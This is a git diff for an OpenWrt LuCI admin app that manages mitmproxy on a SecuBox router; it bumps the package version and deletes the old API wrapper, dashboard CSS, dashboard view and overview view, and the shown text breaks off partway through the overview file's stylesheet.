diff --git a/package/secubox/luci-app-mitmproxy/Makefile b/package/secubox/luci-app-mitmproxy/Makefile index 274afb0f..65671557 100644 --- a/package/secubox/luci-app-mitmproxy/Makefile +++ b/package/secubox/luci-app-mitmproxy/Makefile @@ -7,8 +7,8 @@ include $(TOPDIR)/rules.mk PKG_NAME:=luci-app-mitmproxy -PKG_VERSION:=0.4.0 -PKG_RELEASE:=6 +PKG_VERSION:=0.5.0 +PKG_RELEASE:=1 PKG_ARCH:=all PKG_LICENSE:=Apache-2.0 diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/mitmproxy/api.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/mitmproxy/api.js deleted file mode 100644 index e6c65fbf..00000000 --- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/mitmproxy/api.js +++ /dev/null @@ -1,193 +0,0 @@ -'use strict'; -'require baseclass'; -'require rpc'; - -// Status and settings -var callStatus = rpc.declare({ - object: 'luci.mitmproxy', - method: 'status', - expect: {} -}); - -var callSettings = rpc.declare({ - object: 'luci.mitmproxy', - method: 'settings', - expect: {} -}); - -var callSaveSettings = rpc.declare({ - object: 'luci.mitmproxy', - method: 'save_settings', - params: ['mode', 'enabled', 'proxy_port', 'web_port', 'web_host', 'data_path', - 'memory_limit', 'upstream_proxy', 'reverse_target', 'ssl_insecure', - 'anticache', 'anticomp', 'transparent_enabled', 'transparent_interface', - 'redirect_http', 'redirect_https', 'filtering_enabled', 'log_requests', - 'filter_cdn', 'filter_media', 'block_ads', 'apply_now'], - expect: {} -}); - -var callSetMode = rpc.declare({ - object: 'luci.mitmproxy', - method: 'set_mode', - params: ['mode', 'apply_now'], - expect: {} -}); - -// Service control -var callInstall = rpc.declare({ - object: 'luci.mitmproxy', - method: 'install', - expect: {} -}); - -var callStart = rpc.declare({ - object: 'luci.mitmproxy', - method: 'start', - expect: {} -}); - -var callStop = rpc.declare({ - object: 'luci.mitmproxy', - method: 'stop', - expect: {} -}); - -var callRestart = rpc.declare({ - object: 'luci.mitmproxy', - method: 'restart', - expect: {} -}); - -// Firewall control -var callSetupFirewall = rpc.declare({ - object: 'luci.mitmproxy', - method: 'setup_firewall', - expect: {} -}); - -var callClearFirewall = rpc.declare({ - object: 'luci.mitmproxy', - method: 'clear_firewall', - expect: {} -}); - -return baseclass.extend({ - getStatus: function() { - return callStatus().catch(function() { - return { - running: false, - enabled: false, - installed: false, - lxc_available: false, - mode: 'regular', - nft_active: false - }; - }); - }, - - getSettings: function() { - return callSettings().catch(function() { - return { - enabled: false, - mode: 'regular', - proxy_port: 8888, - web_port: 8081, - web_host: '0.0.0.0', - data_path: '/srv/mitmproxy', - memory_limit: '256M', - transparent_enabled: false, - transparent_interface: 'br-lan', - redirect_http: true, - redirect_https: true, - filtering_enabled: false, - log_requests: true, - filter_cdn: false, - filter_media: false, - block_ads: false - }; - }); - }, - - saveSettings: function(settings) { - return callSaveSettings( - settings.mode, - settings.enabled, - settings.proxy_port, - settings.web_port, - settings.web_host, - settings.data_path, - settings.memory_limit, - settings.upstream_proxy, - settings.reverse_target, - settings.ssl_insecure, - settings.anticache, - settings.anticomp, - settings.transparent_enabled, - settings.transparent_interface, - settings.redirect_http, - settings.redirect_https, - settings.filtering_enabled, - settings.log_requests, - settings.filter_cdn, - settings.filter_media, - settings.block_ads, - settings.apply_now !== false - ); - }, - - setMode: function(mode, applyNow) { - return callSetMode(mode, applyNow !== false); - }, - - install: function() { - return callInstall(); - }, - - start: function() { - return callStart(); - }, - - stop: function() { - return callStop(); - }, - - restart: function() { - return callRestart(); - }, - - setupFirewall: function() { - return callSetupFirewall(); - }, - - clearFirewall: function() { - return callClearFirewall(); - }, - - getAllData: function() { - var self = this; - return Promise.all([ - self.getStatus(), - self.getSettings() - ]).then(function(results) { - return { - status: results[0], - settings: results[1] - }; - }); - }, - - formatBytes: function(bytes) { - if (!bytes || bytes === 0) return '0 B'; - var k = 1024; - var sizes = ['B', 'KB', 'MB', 'GB', 'TB']; - var i = Math.floor(Math.log(bytes) / Math.log(k)); - return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; - }, - - formatNumber: function(num) { - if (!num) return '0'; - if (num >= 1000000) return (num / 1000000).toFixed(1) + 'M'; - if (num >= 1000) return (num / 1000).toFixed(1) + 'K'; - return num.toString(); - } -}); diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/mitmproxy/dashboard.css b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/mitmproxy/dashboard.css deleted file mode 100644 index ca49629a..00000000 --- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/mitmproxy/dashboard.css +++ /dev/null @@ -1,456 +0,0 @@ -/* mitmproxy Dashboard - SecuBox Theme */ - -.mitmproxy-dashboard { - --mp-primary: #e74c3c; - --mp-primary-light: #ec7063; - --mp-secondary: #3498db; - --mp-success: #27ae60; - --mp-warning: #f39c12; - --mp-danger: #c0392b; - --mp-bg-dark: #0d0d12; - --mp-bg-card: #141419; - --mp-bg-card-hover: #1a1a22; - --mp-border: rgba(255, 255, 255, 0.08); - --mp-text: #e0e0e8; - --mp-text-muted: #8a8a9a; - --mp-gradient: linear-gradient(135deg, #e74c3c, #c0392b); - - font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif; - color: var(--mp-text); - padding: 20px; - max-width: 1400px; - margin: 0 auto; -} - -/* Header */ -.mp-header { - display: flex; - align-items: center; - justify-content: space-between; - padding: 20px 24px; - background: var(--mp-bg-card); - border: 1px solid var(--mp-border); - border-radius: 16px; - margin-bottom: 20px; -} - -.mp-logo { - display: flex; - align-items: center; - gap: 12px; -} - -.mp-logo-icon { - width: 48px; - height: 48px; - background: var(--mp-gradient); - border-radius: 12px; - display: flex; - align-items: center; - justify-content: center; - font-size: 24px; -} - -.mp-logo-text { - font-size: 24px; - font-weight: 700; - color: #fff; -} - -.mp-logo-text span { - color: var(--mp-primary); -} - -.mp-status-badge { - display: inline-flex; - align-items: center; - gap: 8px; - padding: 8px 16px; - border-radius: 20px; - font-size: 14px; - font-weight: 500; -} - -.mp-status-badge.running { - background: rgba(39, 174, 96, 0.2); - color: #27ae60; -} - -.mp-status-badge.stopped { - background: rgba(192, 57, 43, 0.2); - color: #c0392b; -} - -.mp-status-dot { - width: 8px; - height: 8px; - border-radius: 50%; - background: currentColor; - animation: pulse 2s infinite; -} - -@keyframes pulse { - 0%, 100% { opacity: 1; } - 50% { opacity: 0.5; } -} - -/* Controls */ -.mp-controls { - display: flex; - align-items: center; - gap: 10px; - padding: 16px 20px; - background: var(--mp-bg-card); - border: 1px solid var(--mp-border); - border-radius: 12px; - margin-bottom: 20px; - flex-wrap: wrap; -} - -.mp-btn { - display: inline-flex; - align-items: center; - gap: 6px; - padding: 10px 18px; - border: none; - border-radius: 8px; - font-size: 14px; - font-weight: 500; - cursor: pointer; - transition: all 0.2s; - background: rgba(255, 255, 255, 0.05); - color: var(--mp-text); -} - -.mp-btn:hover:not(:disabled) { - transform: translateY(-1px); - box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3); -} - -.mp-btn:disabled { - opacity: 0.5; - cursor: not-allowed; -} - -.mp-btn-success { - background: var(--mp-success); - color: white; -} - -.mp-btn-danger { - background: var(--mp-danger); - color: white; -} - -.mp-btn-primary { - background: var(--mp-primary); - color: white; -} - -.mp-btn-secondary { - background: var(--mp-secondary); - color: white; -} - -/* Quick Stats Grid */ -.mp-quick-stats { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); - gap: 16px; - margin-bottom: 20px; -} - -.mp-quick-stat { - background: var(--mp-bg-card); - border: 1px solid var(--mp-border); - border-radius: 12px; - padding: 20px; - position: relative; - overflow: hidden; -} - -.mp-quick-stat::before { - content: ''; - position: absolute; - top: 0; - left: 0; - right: 0; - height: 3px; - background: var(--stat-gradient, var(--mp-gradient)); -} - -.mp-quick-stat-header { - display: flex; - align-items: center; - gap: 8px; - margin-bottom: 12px; -} - -.mp-quick-stat-icon { - font-size: 20px; -} - -.mp-quick-stat-label { - font-size: 13px; - color: var(--mp-text-muted); - text-transform: uppercase; - letter-spacing: 0.5px; -} - -.mp-quick-stat-value { - font-size: 28px; - font-weight: 700; - color: #fff; -} - -.mp-quick-stat-sub { - font-size: 12px; - color: var(--mp-text-muted); - margin-top: 4px; -} - -/* Cards */ -.mp-card { - background: var(--mp-bg-card); - border: 1px solid var(--mp-border); - border-radius: 12px; - margin-bottom: 20px; - overflow: hidden; -} - -.mp-card-header { - display: flex; - align-items: center; - justify-content: space-between; - padding: 16px 20px; - border-bottom: 1px solid var(--mp-border); -} - -.mp-card-title { - display: flex; - align-items: center; - gap: 10px; - font-size: 16px; - font-weight: 600; - color: #fff; -} - -.mp-card-title-icon { - font-size: 18px; -} - -.mp-card-badge { - background: rgba(255, 255, 255, 0.1); - padding: 4px 12px; - border-radius: 16px; - font-size: 12px; - color: var(--mp-text-muted); -} - -.mp-card-body { - padding: 20px; -} - -/* Grid layouts */ -.mp-grid-2 { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(400px, 1fr)); - gap: 20px; - margin-bottom: 20px; -} - -/* Host list */ -.mp-hosts-list { - display: flex; - flex-direction: column; - gap: 12px; -} - -.mp-host-item { - display: flex; - align-items: center; - gap: 12px; - padding: 12px; - background: rgba(255, 255, 255, 0.02); - border-radius: 8px; - transition: background 0.2s; -} - -.mp-host-item:hover { - background: rgba(255, 255, 255, 0.05); -} - -.mp-host-icon { - width: 36px; - height: 36px; - background: var(--mp-gradient); - border-radius: 8px; - display: flex; - align-items: center; - justify-content: center; - font-size: 16px; -} - -.mp-host-info { - flex: 1; - min-width: 0; -} - -.mp-host-name { - font-size: 14px; - font-weight: 500; - color: #fff; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.mp-host-count { - font-size: 12px; - color: var(--mp-text-muted); -} - -.mp-host-bar { - width: 60px; - height: 4px; - background: rgba(255, 255, 255, 0.1); - border-radius: 2px; - overflow: hidden; -} - -.mp-host-bar-fill { - height: 100%; - background: var(--mp-gradient); - border-radius: 2px; - transition: width 0.3s; -} - -/* CA Certificate card */ -.mp-ca-card { - display: flex; - align-items: center; - gap: 16px; - padding: 20px; - background: rgba(255, 255, 255, 0.02); - border-radius: 12px; -} - -.mp-ca-icon { - width: 56px; - height: 56px; - background: var(--mp-secondary); - border-radius: 12px; - display: flex; - align-items: center; - justify-content: center; - font-size: 28px; -} - -.mp-ca-info { - flex: 1; -} - -.mp-ca-title { - font-size: 16px; - font-weight: 600; - color: #fff; - margin-bottom: 4px; -} - -.mp-ca-status { - font-size: 13px; - color: var(--mp-text-muted); -} - -.mp-ca-status.installed { - color: var(--mp-success); -} - -.mp-ca-status.not-installed { - color: var(--mp-warning); -} - -/* Empty state */ -.mp-empty { - text-align: center; - padding: 40px 20px; - color: var(--mp-text-muted); -} - -.mp-empty-icon { - font-size: 48px; - margin-bottom: 16px; - opacity: 0.5; -} - -.mp-empty-text { - font-size: 16px; - font-weight: 500; - margin-bottom: 8px; -} - -/* Navigation */ -.mp-app-nav { - display: flex; - gap: 8px; - margin-bottom: 20px; - padding: 12px 16px; - background: var(--mp-bg-card); - border: 1px solid var(--mp-border); - border-radius: 12px; -} - -.mp-app-nav a { - display: flex; - align-items: center; - gap: 8px; - padding: 10px 16px; - border-radius: 8px; - text-decoration: none; - font-size: 14px; - font-weight: 500; - transition: all 0.2s; - color: var(--mp-text-muted); - background: transparent; -} - -.mp-app-nav a:hover { - background: rgba(255, 255, 255, 0.05); - color: var(--mp-text); -} - -.mp-app-nav a.active { - background: var(--mp-gradient); - color: white; -} - -/* Value update animation */ -.mp-value-updated { - animation: valueFlash 0.5s ease-out; -} - -@keyframes valueFlash { - 0% { color: var(--mp-primary); transform: scale(1.05); } - 100% { color: inherit; transform: scale(1); } -} - -/* Responsive */ -@media (max-width: 768px) { - .mp-header { - flex-direction: column; - gap: 16px; - text-align: center; - } - - .mp-controls { - justify-content: center; - } - - .mp-grid-2 { - grid-template-columns: 1fr; - } - - .mp-quick-stats { - grid-template-columns: repeat(2, 1fr); - } -} diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/dashboard.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/dashboard.js deleted file mode 100644 index ec52738a..00000000 --- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/dashboard.js +++ /dev/null @@ -1,366 +0,0 @@ -'use strict'; -'require view'; -'require poll'; -'require dom'; -'require ui'; -'require mitmproxy/api as api'; -'require secubox-theme/theme as Theme'; -'require secubox-portal/header as SbHeader'; - -var lang = (typeof L !== 'undefined' && L.env && L.env.lang) || - (document.documentElement && document.documentElement.getAttribute('lang')) || - (navigator.language ? navigator.language.split('-')[0] : 'en'); -Theme.init({ language: lang }); - -var MITMPROXY_NAV = [ - { id: 'dashboard', icon: 'πŸ“Š', label: 'Dashboard' }, - { id: 'webui', icon: 'πŸ–₯️', label: 'Web UI' }, - { id: 'requests', icon: 'πŸ”', label: 'Requests' }, - { id: 'settings', icon: 'βš™οΈ', label: 'Settings' } -]; - -function renderMitmproxyNav(activeId) { - return E('div', { 'class': 'mp-app-nav' }, MITMPROXY_NAV.map(function(item) { - var isActive = activeId === item.id; - return E('a', { - 'href': L.url('admin', 'secubox', 'security', 'mitmproxy', item.id), - 'class': isActive ? 'active' : '' - }, [ - E('span', {}, item.icon), - E('span', {}, _(item.label)) - ]); - })); -} - -return view.extend({ - title: _('mitmproxy Dashboard'), - pollInterval: 5, - pollActive: true, - - load: function() { - return api.getAllData(); - }, - - updateDashboard: function(data) { - var status = data.status || {}; - var stats = data.stats || {}; - - // Update status badge - var statusBadge = document.querySelector('.mp-status-badge'); - if (statusBadge) { - statusBadge.classList.toggle('running', status.running); - statusBadge.classList.toggle('stopped', !status.running); - statusBadge.innerHTML = '' + - (status.running ? 'Running' : 'Stopped'); - } - - // Update stats - var updates = [ - { sel: '.mp-stat-requests', val: api.formatNumber(stats.total_requests) }, - { sel: '.mp-stat-hosts', val: api.formatNumber(stats.unique_hosts) }, - { sel: '.mp-stat-flows', val: api.formatBytes(stats.flow_file_size) } - ]; - - updates.forEach(function(u) { - var el = document.querySelector(u.sel); - if (el && el.textContent !== u.val) { - el.textContent = u.val; - el.classList.add('mp-value-updated'); - setTimeout(function() { el.classList.remove('mp-value-updated'); }, 500); - } - }); - }, - - startPolling: function() { - var self = this; - this.pollActive = true; - - poll.add(L.bind(function() { - if (!this.pollActive) return Promise.resolve(); - - return api.getAllData().then(L.bind(function(data) { - this.updateDashboard(data); - }, this)); - }, this), this.pollInterval); - }, - - stopPolling: function() { - this.pollActive = false; - poll.stop(); - }, - - handleServiceControl: function(action) { - var self = this; - - ui.showModal(_('Please wait...'), [ - E('p', { 'class': 'spinning' }, _('Processing request...')) - ]); - - var promise; - switch (action) { - case 'start': - promise = api.serviceStart(); - break; - case 'stop': - promise = api.serviceStop(); - break; - case 'restart': - promise = api.serviceRestart(); - break; - default: - ui.hideModal(); - return; - } - - promise.then(function(result) { - ui.hideModal(); - if (result.running !== undefined) { - ui.addNotification(null, E('p', {}, _('Service ' + action + ' completed')), 'info'); - location.reload(); - } - }).catch(function(err) { - ui.hideModal(); - ui.addNotification(null, E('p', {}, _('Error: ') + err.message), 'error'); - }); - }, - - handleClearData: function() { - var self = this; - - if (!confirm(_('Clear all captured request data?'))) { - return; - } - - api.clearData().then(function(result) { - if (result.success) { - ui.addNotification(null, E('p', {}, result.message || _('Data cleared')), 'info'); - location.reload(); - } - }); - }, - - render: function(data) { - var self = this; - var status = data.status || {}; - var config = data.config || {}; - var stats = data.stats || {}; - var topHosts = (data.topHosts || {}).hosts || []; - var caInfo = data.caInfo || {}; - - var view = E('div', { 'class': 'mitmproxy-dashboard' }, [ - E('link', { 'rel': 'stylesheet', 'href': L.resource('mitmproxy/dashboard.css') }), - - // Header - E('div', { 'class': 'mp-header' }, [ - E('div', { 'class': 'mp-logo' }, [ - E('div', { 'class': 'mp-logo-icon' }, 'πŸ”'), - E('div', { 'class': 'mp-logo-text' }, ['mitm', E('span', {}, 'proxy')]) - ]), - E('div', {}, [ - E('div', { - 'class': 'mp-status-badge ' + (status.running ? 'running' : 'stopped') - }, [ - E('span', { 'class': 'mp-status-dot' }), - status.running ? 'Running' : 'Stopped' - ]) - ]) - ]), - - // Service controls - E('div', { 'class': 'mp-controls' }, [ - E('button', { - 'class': 'mp-btn mp-btn-success', - 'click': function() { self.handleServiceControl('start'); }, - 'disabled': status.running - }, 'β–Ά Start'), - E('button', { - 'class': 'mp-btn mp-btn-danger', - 'click': function() { self.handleServiceControl('stop'); }, - 'disabled': !status.running - }, '⏹ Stop'), - E('button', { - 'class': 'mp-btn mp-btn-primary', - 'click': function() { self.handleServiceControl('restart'); } - }, 'πŸ”„ Restart'), - E('div', { 'style': 'flex: 1' }), - status.web_url ? E('a', { - 'class': 'mp-btn mp-btn-secondary', - 'href': status.web_url, - 'target': '_blank' - }, '🌐 Open Web UI') : null, - E('button', { - 'class': 'mp-btn', - 'click': L.bind(this.handleClearData, this) - }, 'πŸ—‘ Clear Data') - ]), - - // Quick Stats - E('div', { 'class': 'mp-quick-stats' }, [ - E('div', { 'class': 'mp-quick-stat' }, [ - E('div', { 'class': 'mp-quick-stat-header' }, [ - E('span', { 'class': 'mp-quick-stat-icon' }, 'πŸ“Š'), - E('span', { 'class': 'mp-quick-stat-label' }, 'Total Requests') - ]), - E('div', { 'class': 'mp-quick-stat-value mp-stat-requests' }, - api.formatNumber(stats.total_requests || 0)), - E('div', { 'class': 'mp-quick-stat-sub' }, 'Captured since start') - ]), - E('div', { 'class': 'mp-quick-stat', 'style': '--stat-gradient: linear-gradient(135deg, #3498db, #2980b9)' }, [ - E('div', { 'class': 'mp-quick-stat-header' }, [ - E('span', { 'class': 'mp-quick-stat-icon' }, '🌐'), - E('span', { 'class': 'mp-quick-stat-label' }, 'Unique Hosts') - ]), - E('div', { 'class': 'mp-quick-stat-value mp-stat-hosts' }, - api.formatNumber(stats.unique_hosts || 0)), - E('div', { 'class': 'mp-quick-stat-sub' }, 'Distinct domains') - ]), - E('div', { 'class': 'mp-quick-stat', 'style': '--stat-gradient: linear-gradient(135deg, #27ae60, #1abc9c)' }, [ - E('div', { 'class': 'mp-quick-stat-header' }, [ - E('span', { 'class': 'mp-quick-stat-icon' }, 'πŸ’Ύ'), - E('span', { 'class': 'mp-quick-stat-label' }, 'Flow Data') - ]), - E('div', { 'class': 'mp-quick-stat-value mp-stat-flows' }, - api.formatBytes(stats.flow_file_size || 0)), - E('div', { 'class': 'mp-quick-stat-sub' }, 'Captured flows') - ]), - E('div', { 'class': 'mp-quick-stat', 'style': '--stat-gradient: linear-gradient(135deg, #9b59b6, #8e44ad)' }, [ - E('div', { 'class': 'mp-quick-stat-header' }, [ - E('span', { 'class': 'mp-quick-stat-icon' }, 'πŸ”Œ'), - E('span', { 'class': 'mp-quick-stat-label' }, 'Proxy Port') - ]), - E('div', { 'class': 'mp-quick-stat-value' }, status.listen_port || 8080), - E('div', { 'class': 'mp-quick-stat-sub' }, config.mode || 'transparent') - ]) - ]), - - // Grid layout - E('div', { 'class': 'mp-grid-2' }, [ - // Top Hosts - E('div', { 'class': 'mp-card' }, [ - E('div', { 'class': 'mp-card-header' }, [ - E('div', { 'class': 'mp-card-title' }, [ - E('span', { 'class': 'mp-card-title-icon' }, '🌐'), - 'Top Hosts' - ]), - E('div', { 'class': 'mp-card-badge' }, topHosts.length + ' hosts') - ]), - E('div', { 'class': 'mp-card-body' }, - topHosts.length > 0 ? - E('div', { 'class': 'mp-hosts-list' }, - (function() { - var maxCount = Math.max.apply(null, topHosts.map(function(h) { return h.count || 0; })) || 1; - return topHosts.slice(0, 8).map(function(host) { - var pct = Math.round(((host.count || 0) / maxCount) * 100); - return E('div', { 'class': 'mp-host-item' }, [ - E('div', { 'class': 'mp-host-icon' }, 'πŸ”—'), - E('div', { 'class': 'mp-host-info' }, [ - E('div', { 'class': 'mp-host-name' }, host.host || 'unknown'), - E('div', { 'class': 'mp-host-count' }, (host.count || 0) + ' requests') - ]), - E('div', { 'class': 'mp-host-bar' }, [ - E('div', { 'class': 'mp-host-bar-fill', 'style': 'width:' + pct + '%' }) - ]) - ]); - }); - })() - ) : - E('div', { 'class': 'mp-empty' }, [ - E('div', { 'class': 'mp-empty-icon' }, '🌐'), - E('div', { 'class': 'mp-empty-text' }, 'No hosts captured yet'), - E('p', {}, 'Start the proxy and generate traffic') - ]) - ) - ]), - - // CA Certificate - E('div', { 'class': 'mp-card' }, [ - E('div', { 'class': 'mp-card-header' }, [ - E('div', { 'class': 'mp-card-title' }, [ - E('span', { 'class': 'mp-card-title-icon' }, 'πŸ”’'), - 'CA Certificate' - ]) - ]), - E('div', { 'class': 'mp-card-body' }, [ - E('div', { 'class': 'mp-ca-card' }, [ - E('div', { 'class': 'mp-ca-icon' }, 'πŸ“œ'), - E('div', { 'class': 'mp-ca-info' }, [ - E('div', { 'class': 'mp-ca-title' }, 'mitmproxy CA'), - E('div', { - 'class': 'mp-ca-status ' + (caInfo.installed ? 'installed' : 'not-installed') - }, caInfo.installed ? 'Certificate installed' : 'Certificate not generated'), - caInfo.expires ? E('div', { 'class': 'mp-ca-status' }, 'Expires: ' + caInfo.expires) : null - ]), - caInfo.download_url ? E('a', { - 'class': 'mp-btn mp-btn-secondary', - 'href': caInfo.download_url, - 'target': '_blank' - }, '⬇ Download') : null - ]), - E('div', { 'style': 'margin-top: 16px; padding: 16px; background: rgba(255,255,255,0.02); border-radius: 8px; font-size: 13px; color: var(--mp-text-muted)' }, [ - E('p', { 'style': 'margin: 0 0 8px 0' }, [ - E('strong', {}, 'HTTPS Interception: '), - 'To inspect encrypted traffic, install the mitmproxy CA certificate on client devices.' - ]), - E('p', { 'style': 'margin: 0' }, [ - 'Access ', - E('code', {}, 'http://mitm.it'), - ' from any proxied device to download the certificate.' - ]) - ]) - ]) - ]) - ]), - - // Configuration Summary - E('div', { 'class': 'mp-card' }, [ - E('div', { 'class': 'mp-card-header' }, [ - E('div', { 'class': 'mp-card-title' }, [ - E('span', { 'class': 'mp-card-title-icon' }, 'βš™οΈ'), - 'Configuration' - ]), - E('a', { - 'href': L.url('admin', 'secubox', 'mitmproxy', 'settings'), - 'class': 'mp-btn' - }, '✏ Edit') - ]), - E('div', { 'class': 'mp-card-body' }, [ - E('div', { 'style': 'display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 16px;' }, [ - E('div', {}, [ - E('div', { 'style': 'color: var(--mp-text-muted); font-size: 12px; text-transform: uppercase; margin-bottom: 4px' }, 'Mode'), - E('div', { 'style': 'font-weight: 500' }, config.mode || 'transparent') - ]), - E('div', {}, [ - E('div', { 'style': 'color: var(--mp-text-muted); font-size: 12px; text-transform: uppercase; margin-bottom: 4px' }, 'Proxy Port'), - E('div', { 'style': 'font-weight: 500' }, (config.listen_host || '0.0.0.0') + ':' + (config.listen_port || 8080)) - ]), - E('div', {}, [ - E('div', { 'style': 'color: var(--mp-text-muted); font-size: 12px; text-transform: uppercase; margin-bottom: 4px' }, 'Web UI Port'), - E('div', { 'style': 'font-weight: 500' }, (config.web_host || '0.0.0.0') + ':' + (config.web_port || 8081)) - ]), - E('div', {}, [ - E('div', { 'style': 'color: var(--mp-text-muted); font-size: 12px; text-transform: uppercase; margin-bottom: 4px' }, 'Capture'), - E('div', { 'style': 'font-weight: 500' }, [ - config.capture_urls ? 'URLs ' : '', - config.capture_cookies ? 'Cookies ' : '', - config.capture_headers ? 'Headers ' : '' - ].filter(Boolean).join(', ') || 'Disabled') - ]) - ]) - ]) - ]) - ]); - - // Start polling - this.startPolling(); - - var wrapper = E('div', { 'class': 'secubox-page-wrapper' }); - wrapper.appendChild(SbHeader.render()); - wrapper.appendChild(renderMitmproxyNav('dashboard')); - wrapper.appendChild(view); - return wrapper; - }, - - handleSaveApply: null, - handleSave: null, - handleReset: null -}); diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/overview.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/overview.js deleted file mode 100644 index a09ed676..00000000 --- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/overview.js +++ /dev/null @@ -1,375 +0,0 @@ -'use strict'; -'require view'; -'require ui'; -'require rpc'; - -var callStatus = rpc.declare({ object: 'luci.mitmproxy', method: 'status', expect: {} }); -var callInstall = rpc.declare({ object: 'luci.mitmproxy', method: 'install', expect: {} }); -var callStart = rpc.declare({ object: 'luci.mitmproxy', method: 'start', expect: {} }); -var callStop = rpc.declare({ object: 'luci.mitmproxy', method: 'stop', expect: {} }); -var callRestart = rpc.declare({ object: 'luci.mitmproxy', method: 'restart', expect: {} }); - -var css = [ - ':root { --mp-primary: #e74c3c; --mp-primary-light: #ec7063; --mp-secondary: #3498db; --mp-success: #27ae60; --mp-warning: #f39c12; --mp-danger: #c0392b; --mp-bg: #0d0d12; --mp-card: #141419; --mp-border: rgba(255,255,255,0.08); --mp-text: #e0e0e8; --mp-muted: #8a8a9a; }', - '.mp-overview { max-width: 1000px; margin: 0 auto; padding: 20px; font-family: system-ui, -apple-system, sans-serif; color: var(--mp-text); }', - - /* Header */ - '.mp-header { display: flex; justify-content: space-between; align-items: center; padding: 24px; background: linear-gradient(135deg, #e74c3c 0%, #c0392b 100%); border-radius: 16px; color: #fff; margin-bottom: 24px; }', - '.mp-header-left { display: flex; align-items: center; gap: 16px; }', - '.mp-logo { font-size: 48px; }', - '.mp-title { font-size: 28px; font-weight: 700; margin: 0; }', - '.mp-subtitle { font-size: 14px; opacity: 0.9; margin-top: 4px; }', - '.mp-status { display: flex; align-items: center; gap: 8px; padding: 8px 16px; border-radius: 20px; font-size: 14px; font-weight: 500; }', - '.mp-status.running { background: rgba(39,174,96,0.3); }', - '.mp-status.stopped { background: rgba(239,68,68,0.3); }', - '.mp-dot { width: 10px; height: 10px; border-radius: 50%; animation: pulse 2s infinite; }', - '.mp-status.running .mp-dot { background: #27ae60; }', - '.mp-status.stopped .mp-dot { background: #ef4444; }', - '@keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } }', - - /* Welcome Banner - shown when not installed/running */ - '.mp-welcome { text-align: center; padding: 60px 40px; background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 16px; margin-bottom: 24px; }', - '.mp-welcome-icon { font-size: 80px; margin-bottom: 20px; }', - '.mp-welcome h2 { font-size: 28px; margin: 0 0 12px 0; color: #fff; }', - '.mp-welcome p { font-size: 16px; color: var(--mp-muted); margin: 0 0 30px 0; max-width: 600px; margin-left: auto; margin-right: auto; }', - '.mp-welcome-note { background: rgba(231,76,60,0.1); border: 1px solid rgba(231,76,60,0.3); border-radius: 12px; padding: 16px; margin-top: 24px; font-size: 14px; color: #ec7063; }', - - /* Mode Cards */ - '.mp-modes { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 16px; margin-bottom: 24px; }', - '.mp-mode-card { background: var(--mp-card); border: 2px solid var(--mp-border); border-radius: 16px; padding: 24px; text-align: center; cursor: pointer; transition: all 0.3s; }', - '.mp-mode-card:hover { border-color: var(--mp-primary); transform: translateY(-4px); box-shadow: 0 8px 32px rgba(231,76,60,0.2); }', - '.mp-mode-card.recommended { border-color: var(--mp-primary); background: linear-gradient(180deg, rgba(231,76,60,0.1) 0%, transparent 100%); }', - '.mp-mode-icon { font-size: 48px; margin-bottom: 16px; }', - '.mp-mode-title { font-size: 18px; font-weight: 600; color: #fff; margin-bottom: 8px; }', - '.mp-mode-desc { font-size: 13px; color: var(--mp-muted); line-height: 1.5; }', - '.mp-mode-badge { display: inline-block; background: var(--mp-primary); color: #fff; font-size: 11px; padding: 4px 10px; border-radius: 12px; margin-top: 12px; text-transform: uppercase; font-weight: 600; }', - - /* Feature Grid */ - '.mp-features { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 12px; margin-bottom: 24px; }', - '.mp-feature { display: flex; align-items: center; gap: 12px; padding: 16px; background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 12px; }', - '.mp-feature-icon { font-size: 24px; }', - '.mp-feature-text { font-size: 14px; color: var(--mp-text); }', - - /* Quick Actions */ - '.mp-actions { display: flex; gap: 12px; flex-wrap: wrap; justify-content: center; margin-bottom: 24px; }', - '.mp-btn { display: inline-flex; align-items: center; gap: 8px; padding: 14px 28px; border-radius: 12px; border: none; cursor: pointer; font-size: 15px; font-weight: 600; transition: all 0.2s; text-decoration: none; }', - '.mp-btn:hover:not(:disabled) { transform: translateY(-2px); box-shadow: 0 4px 16px rgba(0,0,0,0.3); }', - '.mp-btn:disabled { opacity: 0.5; cursor: not-allowed; }', - '.mp-btn-primary { background: linear-gradient(135deg, #e74c3c, #c0392b); color: #fff; }', - '.mp-btn-success { background: linear-gradient(135deg, #27ae60, #1e8449); color: #fff; }', - '.mp-btn-danger { background: linear-gradient(135deg, #e74c3c, #c0392b); color: #fff; }', - '.mp-btn-secondary { background: rgba(255,255,255,0.1); color: var(--mp-text); border: 1px solid var(--mp-border); }', - - /* Quick Start Card */ - '.mp-quickstart { background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 16px; padding: 24px; margin-bottom: 24px; }', - '.mp-quickstart-header { display: flex; align-items: center; gap: 12px; margin-bottom: 20px; }', - '.mp-quickstart-icon { font-size: 28px; }', - '.mp-quickstart-title { font-size: 20px; font-weight: 600; color: #fff; }', - '.mp-quickstart-steps { display: flex; 